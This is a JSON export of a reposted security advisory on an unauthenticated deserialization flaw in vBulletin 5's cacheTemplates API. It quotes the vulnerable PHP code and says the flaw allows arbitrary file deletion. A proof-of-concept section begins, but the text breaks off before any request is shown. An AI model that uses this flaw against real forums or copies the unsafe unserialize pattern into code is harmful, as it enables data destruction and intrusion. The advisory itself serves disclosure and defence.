{"id":10842,"date":"2017-12-13T14:19:13","date_gmt":"2017-12-13T22:19:13","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2017\/12\/13\/news-4614\/"},"modified":"2017-12-13T14:19:13","modified_gmt":"2017-12-13T22:19:13","slug":"news-4614","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2017\/12\/13\/news-4614\/","title":{"rendered":"SSD Advisory \u2013 vBulletin cacheTemplates Unauthenticated Remote Arbitrary File Deletion"},"content":{"rendered":"<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Wed, 13 Dec 2017 10:36:20 +0000<\/strong><\/p>\n<div class=\"entry-content\">\n<p><strong>Want to get paid for a vulnerability similar to this one?<\/strong><br \/>Contact us at: <a href=\"mailto:sxsxd@bxexyxoxnxdxsxexcxuxrxixtxy.com\" onmouseover=\"this.href=this.href.replace(\/x\/g,'');\" id=\"a-href-3573\">sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom<\/a><br \/><script>var obj = jQuery('#a-href-3573');if(obj[0]) { obj[0].innerText = obj[0].innerText.replace(\/x\/g, ''); }<\/script> See our full scope at: <a href=\"https:\/\/blogs.securiteam.com\/index.php\/product_scope\">https:\/\/blogs.securiteam.com\/index.php\/product_scope<\/a><\/p>\n<div class=\"pf-content\">\n<p><strong>Vulnerability Summary<\/strong><br \/> The following advisory describes a unauthenticated deserialization vulnerability that leads to arbitrary delete files and, under certain circumstances, code execution found in vBulletin version 5.<\/p>\n<p>vBulletin, also known as vB, is &#8220;a widespread proprietary Internet forum software package developed by vBulletin Solutions, Inc., based on PHP and MySQL database server. vBulletin powers many of the largest social sites on the web, with over 100,000 sites built on it, including Fortune 500 and Alexa Top 1M companies websites and forums. According to the latest W3Techs1 statistics, vBulletin version 4 holds more than 55% of the vBulletin market share, while version 3 and 5 divide the remaining percentage&#8221;.<\/p>\n<p><strong>Credit<\/strong><br \/> A security researcher from, TRUEL IT ( @truel_it ), has reported this vulnerability to Beyond Security\u2019s SecuriTeam Secure Disclosure program.<\/p>\n<p><strong>Vendor response<\/strong><br \/> We tried to contact vBulletin since November 21 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for these vulnerabilities.<br \/> <span id=\"more-3573\"><\/span><br \/> <strong>Vulnerability details<\/strong><br \/> Unsafe usage of PHP\u2019s unserialize() on user-supplied input allows an unauthenticated attacker to delete arbitrary files and, under certain circumstances, execute arbitrary code on a vBulletin installation.<\/p>\n<p>vB_Library_Template\u2019s cacheTemplates() function, which is an publicly exposed API which allows to fetch information on a set of given templates from the database in order to store them inside a cache variable.<\/p>\n<p>File core\/vb\/api\/template.php \u2013 function cacheTemplates():<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a31a760758dc870117810\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> public function cacheTemplates($templates, $templateidlist, $skip_bbcode_style = false,  $force_set = false)  {   return vB_Library::instance(&#8216;template&#8217;)-&gt;cacheTemplates($templates, $templateidlist, $skip_bbcode_style, $for<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0012 seconds] -->  <\/p>\n<p>Let&#8217;s take a look at $templateidlist &#8211; core\/vb\/library\/template.php \u2013 function cacheTemplates():<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a31a760758e6710064655\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> public function cacheTemplates($templates, $templateidlist, $skip_bbcode_style = false,  $force_set = false)  {   $vboptions = vB::getDatastore()   \/\/ vB_Library_Style::switchCssStyle() may pass us a templateidlist that&#8217;s already unserialized.   if (!is_array($templateidlist))   {    $templateidlist = unserialize($templateidlist);   }   foreach ($templates AS $template)   {    if (isset($templateidlist[$template]))    {     $templateids[] = intval($templateidlist[$template]);    }   }   if (!empty($templateids))   {    $temps = vB::getDbAssertor(array(&#8216;title&#8217;, &#8216;textonly&#8217;, &#8216;template_un&#8217;, &#8216;template&#8217;));    \/\/ cache templates    foreach ($temps as $temp)    {     if (empty(self::$templatecache[&#8220;$temp[title]&#8221;]) OR $force_set)     {      self::$templatecache[&#8220;$temp[title]&#8221;] = $this;     }    }   }   if (!$skip_bbcode_style)   {    self::$bbcode_style = array(     &#8216;code&#8217; =&gt; &amp;$templateassoc[&#8216;bbcode_code_styleid&#8217;],     &#8216;html&#8217; =&gt; &amp;$templateassoc[&#8216;bbcode_html_styleid&#8217;],     &#8216;php&#8217; =&gt; &amp;$templateassoc[&#8216;bbcode_php_styleid&#8217;],     &#8216;quote&#8217; =&gt; &amp;$templateassoc[&#8216;bbcode_quote_styleid&#8217;]    );   }  }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758e6710064655-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758e6710064655-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758e6710064655-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758e6710064655-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758e6710064655-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758e6710064655-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758e6710064655-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758e6710064655-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758e6710064655-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758e6710064655-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758e6710064655-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758e6710064655-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758e6710064655-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758e6710064655-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758e6710064655-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758e6710064655-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758e6710064655-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758e6710064655-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758e6710064655-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758e6710064655-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758e6710064655-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758e6710064655-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758e6710064655-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758e6710064655-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758e6710064655-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758e6710064655-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758e6710064655-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758e6710064655-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758e6710064655-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758e6710064655-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758e6710064655-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758e6710064655-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758e6710064655-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758e6710064655-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758e6710064655-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758e6710064655-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a31a760758e6710064655-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a31a760758e6710064655-38\">38<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a31a760758e6710064655-1\"><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">cacheTemplates<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">templates<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">templateidlist<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">skip_bbcode_style<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758e6710064655-2\"><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">force_set<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758e6710064655-3\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758e6710064655-4\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">vboptions<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">vB<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">getDatastore<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758e6710064655-5\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/\/ vB_Library_Style::switchCssStyle() may pass us a templateidlist that&#8217;s already unserialized.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758e6710064655-6\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">is_array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">templateidlist<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758e6710064655-7\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758e6710064655-8\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">templateidlist<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">unserialize<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">templateidlist<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758e6710064655-9\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758e6710064655-10\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">foreach<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-e\">templates <\/span><span class=\"crayon-st\">AS<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">template<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758e6710064655-11\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758e6710064655-12\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">isset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">templateidlist<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">template<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758e6710064655-13\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758e6710064655-14\"><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">templateids<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">intval<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">templateidlist<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">template<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758e6710064655-15\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758e6710064655-16\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758e6710064655-17\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">empty<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">templateids<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758e6710064655-18\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758e6710064655-19\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">temps<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">vB<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">getDbAssertor<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;title&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;textonly&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;template_un&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;template&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758e6710064655-20\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-c\">\/\/ cache templates<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758e6710064655-21\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-st\">foreach<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-e\">temps <\/span><span class=\"crayon-st\">as<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">temp<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758e6710064655-22\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758e6710064655-23\"><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">empty<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">templatecache<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8220;$temp[title]&#8221;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">OR<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">force_set<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758e6710064655-24\"><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758e6710064655-25\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">templatecache<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8220;$temp[title]&#8221;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758e6710064655-26\"><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758e6710064655-27\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758e6710064655-28\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758e6710064655-29\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">skip_bbcode_style<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758e6710064655-30\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758e6710064655-31\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">bbcode_style<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758e6710064655-32\"><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-s\">&#8216;code&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">templateassoc<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;bbcode_code_styleid&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758e6710064655-33\"><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-s\">&#8216;html&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">templateassoc<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;bbcode_html_styleid&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758e6710064655-34\"><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-s\">&#8216;php&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">templateassoc<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;bbcode_php_styleid&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758e6710064655-35\"><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-s\">&#8216;quote&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">templateassoc<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;bbcode_quote_styleid&#8217;<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758e6710064655-36\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a31a760758e6710064655-37\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a31a760758e6710064655-38\"><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0043 seconds] -->  <\/p>\n<p>$temnplateidlist variable, which can come directly from user-input, is directly supplied to unserialize(), resulting in an arbitrary deserialization primitive. <\/p>\n<p><strong>Proof of Concept<\/strong><br \/> By sending the following POST request an unauthenticated attacker can delete files from the victims server<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a31a760758ea701824403\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px 